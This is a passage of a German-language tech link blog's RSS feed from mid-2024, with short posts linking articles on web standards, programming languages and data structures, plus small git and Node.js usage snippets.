</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/27/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/27/0.html</guid><pubDate>Mon, 27 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.androidauthority.com/apple-signs-deal-openai-iphones-3446254&quot;&gt;Apple signs deal with OpenAI for iOS, still wants Google as an &apos;option&apos;&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/28/0.html</guid><pubDate>Tue, 28 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;TIL: &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/HTML/Element/address&quot;&gt;HTML-&lt;code&gt;&amp;lt;address&amp;gt;&lt;/code&gt;-Element&lt;/a&gt;. War gerade dabei, zu schauen, wie man ein Impressum mit möglichst viel a11y macht.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/05/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/05/30/0.html</guid><pubDate>Thu, 30 May 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://bessey.dev/blog/2024/05/24/why-im-over-graphql/&quot;&gt;Why, after 6 years, I’m over GraphQL&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/11/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/11/0.html</guid><pubDate>Tue, 11 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=40630323&quot;&gt;Firefox&apos;s html parser is written in Java and converted to C++ at build time&lt;/a&gt;. &lt;a href=&quot;https://github.com/validator/htmlparser.git&quot;&gt;Hier&lt;/a&gt; die Java-Sourcen.&lt;/p&gt;
&lt;p&gt;Wundert mich sehr, dass das noch niemand nach Rust portiert hat. Klar, so ein HTML-Parser is bestimmt nicht so trivial, aber wenn die Java-Implementierung sich automatisiert nach C++ übersetzen kann, wird das Problem schon relativ vereinfacht sein. Vielleicht benutzen sie in der C++-Version zu viel mutability, die man in Rust einfach nicht tun würde.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>til</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/12/0.html</guid><pubDate>Wed, 12 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://computerwebsite.net/writing/gjk&quot;&gt;The Gilbert–Johnson–Keerthi algorithm explained as simply as possibly&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://youtu.be/ajv46BSqcK4&quot;&gt;Hier&lt;/a&gt; auch als Video.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/13/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/13/0.html</guid><pubDate>Thu, 13 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://x.com/LeaVerou/status/1801192208025940200&quot;&gt;CSS bekommt ein &lt;code&gt;if&lt;/code&gt;&lt;/a&gt; (&lt;a href=&quot;https://github.com/w3c/csswg-drafts/issues/10064&quot;&gt;Issue dazu&lt;/a&gt;).&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/14/0.html</guid><pubDate>Fri, 14 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.csun.io/2024/06/08/probabilistic-tic-tac-toe.html&quot;&gt;Probabilistic Tic-Tac-Toe&lt;/a&gt; und &lt;a href=&quot;https://louisabraham.github.io/articles/probabilistic-tic-tac-toe&quot;&gt;wie man es spielt&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/14/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/14/1.html</guid><pubDate>Fri, 14 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Neulich so: &lt;a href=&quot;/2024/06/11/0.html&quot;&gt;Der HTML-Parser von Firefox wird automatisiert von Java nach C++ übersetzt&lt;/a&gt;.
Heute: &lt;a href=&quot;https://lemire.me/blog/2024/06/08/scan-html-faster-with-simd-instructions-chrome-edition/&quot;&gt;Der von Chrome benutzt handoptimiertes SIMD&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/16/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/16/0.html</guid><pubDate>Sun, 16 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/&quot;&gt;Things you wish you didn&apos;t need to know about S3&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/16/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/16/1.html</guid><pubDate>Sun, 16 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://workos.com/blog/sso-acronyms-demystified&quot;&gt;Single Sign-On: Acronyms Demystified&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/16/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/16/2.html</guid><pubDate>Sun, 16 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://fs.blog/experts-vs-imitators&quot;&gt;Experts vs. Imitators: Take time to distinguish real experts from imitators&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/17/0.html</guid><pubDate>Mon, 17 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Interessante Idee: &lt;a href=&quot;https://mynameistrez.github.io/2024/04/09/static-arrays-are-the-best-vectors.html&quot;&gt;Static Arrays are the best Vectors&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/18/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/18/0.html</guid><pubDate>Tue, 18 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Eine Einführung in &lt;a href=&quot;https://samwho.dev/memory-allocation/&quot;&gt;Memory Allocation&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/20/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/20/0.html</guid><pubDate>Thu, 20 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.freecodecamp.org/news/the-100-correct-way-to-do-css-breakpoints-88d6a5ba1862/&quot;&gt;The 100% correct way to do CSS breakpoints&lt;/a&gt;. Am besten wäre es eigentlich, ohne konkrete Breakpoints zu arbeiten und sich das Design mit Constraints zu bauen.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>css</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/21/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/21/0.html</guid><pubDate>Fri, 21 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://robert.ocallahan.org/2024/06/browser-engine.html&quot;&gt;So You Want To Build A Browser Engine&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/22/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/22/0.html</guid><pubDate>Sat, 22 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ciechanow.ski/gps/&quot;&gt;Wie GPS funktioniert&lt;/a&gt;. Und: &lt;a href=&quot;https://old.reddit.com/r/AskHistorians/comments/13y7ee7/why_is_gps_free/&quot;&gt;Why is GPS free&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/23/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/23/0.html</guid><pubDate>Sun, 23 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://ecma-international.org/wp-content/uploads/ECMA-17_1st_edition_november_1968.pdf&quot;&gt;ECMA Standard for the Graphic Representation of Control Characters of the ECMA 7 Bit Coded Character Set (1968)&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/24/0.html</guid><pubDate>Mon, 24 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Immer mehr wird ja nur noch über Discord besprochen oder gelöst. Früher gab es Foren, heute gibt es Discord. Foren wurden immer von Suchmaschinen indexiert. Der Vorteil davon liegt auf der Hand.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://www.answeroverflow.com&quot;&gt;Hier indexiert jemand Discord-Server&lt;/a&gt;, um etwas davon zurück zu holen.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/26/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/26/0.html</guid><pubDate>Wed, 26 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://swiftrocks.com/how-async-await-works-internally-in-swift&quot;&gt;How async/await works internally in Swift&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/26/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/26/1.html</guid><pubDate>Wed, 26 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.dolthub.com/blog/2024-06-21-channel-three-ways/&quot;&gt;Three Ways To Think About Channels&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>golang</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/26/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/26/2.html</guid><pubDate>Wed, 26 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;GitHub stellt bei einem Repo alle PRs als Ref bereit. So braucht man bei einem PR eines externen Repos nicht ein anderes Repo als Remote hinzufügen, sondern kann es direkt fetchen und auschecken. Der Name ist &lt;code&gt;pull/$ID/head&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Hier  ein Alias für git:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git config --global alias.pr &apos;!f() { git fetch origin pull/$1/head:pr/$1 &amp;amp;&amp;amp; git switch pr/$1; }; f&apos;
&lt;/code&gt;&lt;/pre&gt;
</content:encoded><language>de-DE</language><category>cli-tools</category><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/28/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/28/0.html</guid><pubDate>Fri, 28 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.avabodh.com/cin/cin.html&quot;&gt;C Internals&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>c</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/06/30/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/06/30/0.html</guid><pubDate>Sun, 30 Jun 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Navigator/sendBeacon&quot;&gt;&lt;code&gt;navigator.sendBeacon(url, data?)&lt;/code&gt;&lt;/a&gt; method asynchronously sends an HTTP POST request containing a small amount of data to a web server.&lt;/p&gt;
&lt;p&gt;Warum?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;A problem with sending analytics is that a site often wants to send analytics when the user has finished with a page: for example, when the user navigates to another page. In this situation the browser may be about to unload the page, and in that case the browser may choose not to send asynchronous XMLHttpRequest requests.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Dieses Verhalten hat dazu geführt, dass es dann wieder Workarounds gab, die das Navigieren bewusst blockiert haben. Deshalb diese API.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://w3c.github.io/beacon/#sec-processing-model&quot;&gt;Hier der Standard&lt;/a&gt; dazu. Und hier noch ein &lt;a href=&quot;https://css-tricks.com/send-an-http-request-on-page-exit/&quot;&gt;Post auf CSS-Tricks&lt;/a&gt; mit mehr Hintergründen. Zeigt auch nochmal das &lt;a href=&quot;https://css-tricks.com/the-ping-attribute-on-anchor-links/&quot;&gt;&lt;code&gt;ping&lt;/code&gt;&lt;/a&gt;-Attribut an Links.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>javascript</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/01/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/01/0.html</guid><pubDate>Mon, 01 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://jolynch.github.io/posts/use_fast_data_algorithms/&quot;&gt;Use Fast Data Algorithms&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/01/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/01/1.html</guid><pubDate>Mon, 01 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Für C++ &lt;a href=&quot;https://isocpp.org/files/papers/P2996R4.html#examples&quot;&gt;steht Reflection an&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/03/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/03/0.html</guid><pubDate>Wed, 03 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://news.ycombinator.com/item?id=30864311&quot;&gt;How does Firefox&apos;s Reader View work&lt;/a&gt;?&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/05/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/05/0.html</guid><pubDate>Fri, 05 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://blog.jetbrains.com/fleet/2022/02/fleet-below-deck-part-ii-breaking-down-the-editor/&quot;&gt;Datenstrukturen, die in JetBrains Editor Fleet verwendet werden&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/05/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/05/1.html</guid><pubDate>Fri, 05 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://consteval.ca/2024/07/03/initialization&quot;&gt;I Have No Constructor, and I Must Initialize&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/07/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/07/0.html</guid><pubDate>Sun, 07 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hab ja mal einen Prototypen eines SQL-Parsers auf Typebene entwickelt, um rohes SQL statisch zu typisieren. &lt;a href=&quot;https://www.zhenghao.io/posts/type-programming&quot;&gt;Hier eine Einführung&lt;/a&gt;, wie man auf Typebene in TypeScript programmieren kann.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>typescript</category><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/09/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/09/0.html</guid><pubDate>Tue, 09 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.huy.rocks/everyday/05-08-2022-parsing-recursive-descent-parser&quot;&gt;Wie man einen rekursiven Abstiegsparser baut&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/10/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/10/0.html</guid><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Wie zstd funktioniert, eine Reihe: &lt;a href=&quot;https://nigeltao.github.io/blog/2022/zstandard-part-1-concepts.html&quot;&gt;Zstandard Worked Example Part 1: Concepts&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/10/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/10/1.html</guid><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Hatten es gerade im Team, ging um Formatierungs-Commits.&lt;/p&gt;
&lt;p&gt;Da gibt es ja 2 Ansätze, die man gehen kann:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Einen pre-commit-hook, der die Dateien formatiert, die ein Commit sowieso anpasst.&lt;/li&gt;
&lt;li&gt;Einzelne Formatierungs-Commits, die mehrere Dateien anfassen&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Bei 1. is der Vorteil, dass man wenige bis gar keine Konflikte bekommt, wenn andere noch in anderne Branches arbeiten. Der Nachteil ist, dass man Änderungen in einem Commit hat, die nicht zu der Fachlichkeit gehören, die man in dem Commit gerade tätigt. Beides ist mehr oder weniger gut/schlimm.&lt;/p&gt;
&lt;p&gt;Der 2. Ansatz ist genau umgekehrt: Er hat keine Vermischung mit fachlichen Änderungen, aber ein hohes Potential für Konflikte.&lt;/p&gt;
&lt;p&gt;Beide haben aber ein Problem: Sie machen ggf. &lt;code&gt;git blame&lt;/code&gt; für die formatierten Zeilen kaputt. Zumindest für Ansatz 2 gibt es da einen Fix: &lt;code&gt;.git-blame-ignore-revs&lt;/code&gt;. Die Datei beinhaltet Commit-Hashes von Commits, die bei &lt;code&gt;git blame&lt;/code&gt; ignroriert werden sollen. So sind reine &quot;Format&quot;-Commits nicht mehr so schlimm.&lt;/p&gt;
&lt;p&gt;GitHub respektiert die Datei auch bei der Blame-View, solange sie diesen Namen hat. Damit das lokale Git das auch respektiert, muss man es konfigurieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# repo
git config blame.ignoreRevsFile .git-blame-ignore-revs
# global
git config --global blame.ignoreRevsFile .git-blame-ignore-revs
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alternativ kann man auch einen Dateinamen bei Blame übergeben:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git blame --ignore-revs-file .git-blame-ignore-revs foo.py
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Oder einen einzelnen Commit ignorieren:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git blame --ignore-rev d34db33f
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://www.stefanjudis.com/today-i-learned/how-to-exclude-commits-from-git-blame/&quot;&gt;Hier&lt;/a&gt; ist noch ein Blogpost dazu.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>git</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/10/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/10/2.html</guid><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Node.js 22.4.0 ist da und hat die &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Web_Storage_API&quot;&gt;Web Storage API&lt;/a&gt; hinter einem Flag. Bei Node kann man also jetzt &lt;code&gt;localStorage&lt;/code&gt; und &lt;code&gt;sessionStorage&lt;/code&gt; benutzen.&lt;/p&gt;
&lt;p&gt;Ich habe ein bisschen damit gespielt.&lt;/p&gt;
&lt;p&gt;Der &lt;code&gt;sessionStorage&lt;/code&gt; ist für eine Programmlaufzeit gültig. Ist also nach einem Neustart weg. &lt;code&gt;localStorage&lt;/code&gt; geht auch über Neustarts hinweg. Dafür muss man aber eine explizite Datei angeben: &lt;code&gt;node --localstorage-file foo&lt;/code&gt;. Die Datei ist einfach eine SQLIte-Datenbank (wie die anderen Browser das intern auch machen):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$ echo &apos;localStorage.setItem(&quot;hallo&quot;, &quot;welt&quot;)&apos; | node --experimental-webstorage --localstorage-file foo

$ sqlite3 foo &apos;select * from nodejs_webstorage&apos;
key    value
-----  -----
hallo  welt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ist also eine super Alternative für Key-Value-Storage, wenn man nicht extra SQLite installieren will.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/API/Window/storage_event&quot;&gt;Storage Events&lt;/a&gt; scheinen (noch?) nicht zu funktionieren. Da wär auch die Frage, ob die bei localStorage nur innerhalb des selben Prozesses funktionieren, oder ob alle Node-Instanzen da kommunizieren, wenn sie einen Wert in dieselbe Datenbank schreiben.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/10/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/10/3.html</guid><pubDate>Wed, 10 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://zed.dev/linux&quot;&gt;Zed ist gerade für Linux erschienen&lt;/a&gt;. Das ist ein Editor, an dem ehemalige Atom-Entwickler sitzen. Der ist vor allem interessant, weil sie von Grund auf auf Collaboration gesetzt haben. Die Kern-Datenstrukturen für ihre Textbearbeitung sind CRDTs.&lt;/p&gt;
&lt;p&gt;Gerade sah ich einen schönen Artikel darüber, wie sie Positionen innerhalb des Texteditors intern darstellen: &lt;a href=&quot;https://zed.dev/blog/zed-decoded-text-coordinate-systems&quot;&gt;Zed Decoded: Text Coordinate Systems&lt;/a&gt;. &lt;a href=&quot;https://www.youtube.com/watch?v=il7NoDUFCWU&quot;&gt;Gibt es auch als Video&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>datenstrukturen</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/12/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/12/0.html</guid><pubDate>Fri, 12 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Die Web-Version von &lt;a href=&quot;https://craftinginterpreters.com/contents.html&quot;&gt;Crafting Interpreters&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/14/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/14/0.html</guid><pubDate>Sun, 14 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://surma.dev/things/actormodel/&quot;&gt;Eine Einführung in das Aktorenmodell&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/15/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/15/0.html</guid><pubDate>Mon, 15 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://cppcast.com/zig/&quot;&gt;Andrew Kelley bei CppCast über Zig&lt;/a&gt;. &lt;a href=&quot;https://corecursive.com/067-zig-with-andrew-kelley/&quot;&gt;Hier&lt;/a&gt; ist er auch noch bei einem anderen Podcast.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>language-design</category><category>zig</category><category>cpp</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/17/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/17/0.html</guid><pubDate>Wed, 17 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://httptoolkit.com/blog/status-targeted-caching-headers/&quot;&gt;Neue HTTP-Caching-Header&lt;/a&gt;.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>http</category><category>netzwerke</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/24/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/24/0.html</guid><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/node/pull/53752&quot;&gt;Node.js kann jetzt SQLite&lt;/a&gt;. Für die WebStorage-API neulich haben sie es ja schon eingebaut. Jetzt exposen sie auch die interne API nach außen.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { DatabaseSync } from &apos;node:sqlite&apos;;
const database = new DatabaseSync(&apos;:memory:&apos;);

// Execute SQL statements from strings.
database.exec(`
  CREATE TABLE data(
    key INTEGER PRIMARY KEY,
    value TEXT
  ) STRICT
`);
// Create a prepared statement to insert data into the database.
const insert = database.prepare(&apos;INSERT INTO data (key, value) VALUES (?, ?)&apos;);
// Execute the prepared statement with bound values.
insert.run(1, &apos;hello&apos;);
insert.run(2, &apos;world&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sieht nur semi-kompatible mit &lt;a href=&quot;https://bun.sh/docs/api/sqlite&quot;&gt;dem SQLite von Bun&lt;/a&gt; aus.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/24/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/24/1.html</guid><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://werat.dev/blog/how-conditional-breakpoints-work&quot;&gt;How conditional breakpoints work&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/24/2.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/24/2.html</guid><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/onceupon/Bash-Oneliner&quot;&gt;Nützliche Bash-Oneliner&lt;/a&gt; und ein paar Terminal-Shortcuts.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>bash</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/24/3.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/24/3.html</guid><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://codewords.recurse.com/issues/three/algebra-and-calculus-of-algebraic-data-types&quot;&gt;The algebra (and calculus!) of algebraic data types&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/24/4.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/24/4.html</guid><pubDate>Wed, 24 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://effectivetypescript.com/2024/07/17/advent2023-zig/&quot;&gt;A TypeScripter&apos;s Take on Zig&lt;/a&gt;&lt;/p&gt;
</content:encoded><language>de-DE</language><category>zig</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/25/0.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/25/0.html</guid><pubDate>Thu, 25 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://github.com/nodejs/node/pull/53725&quot;&gt;Node.js kann bald TypeScript&lt;/a&gt;. Damit wäre der größte Vorteil von Bun in Node.&lt;/p&gt;
</content:encoded><language>de-DE</language><category>nodejs</category><author>nikeee</author></item><item><link>https://blog.holz.nu/2024/07/25/1.html</link><guid isPermaLink="true">https://blog.holz.nu/2024/07/25/1.html</guid><pubDate>Thu, 25 Jul 2024 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Ich hab jetzt mal Node.js selbst gebaut, um das Feature mit der TS-Ausführung zu testen und bin positiv überrascht vom Bauprozess. Es ist:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;git clone https://github.com/nodejs/node
cd node
./configure
make -j24
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Es funktioniert einfach. Neben GCC und GNU/Make braucht man noch ein supportetes Python. Sind jetzt keine krassen Anforderungen. Hat (bis jetzt) auch noch keine Magic gemacht und irgendwelche Sachen aus dem Internet geladen oder global installiert.&lt;/p&gt;
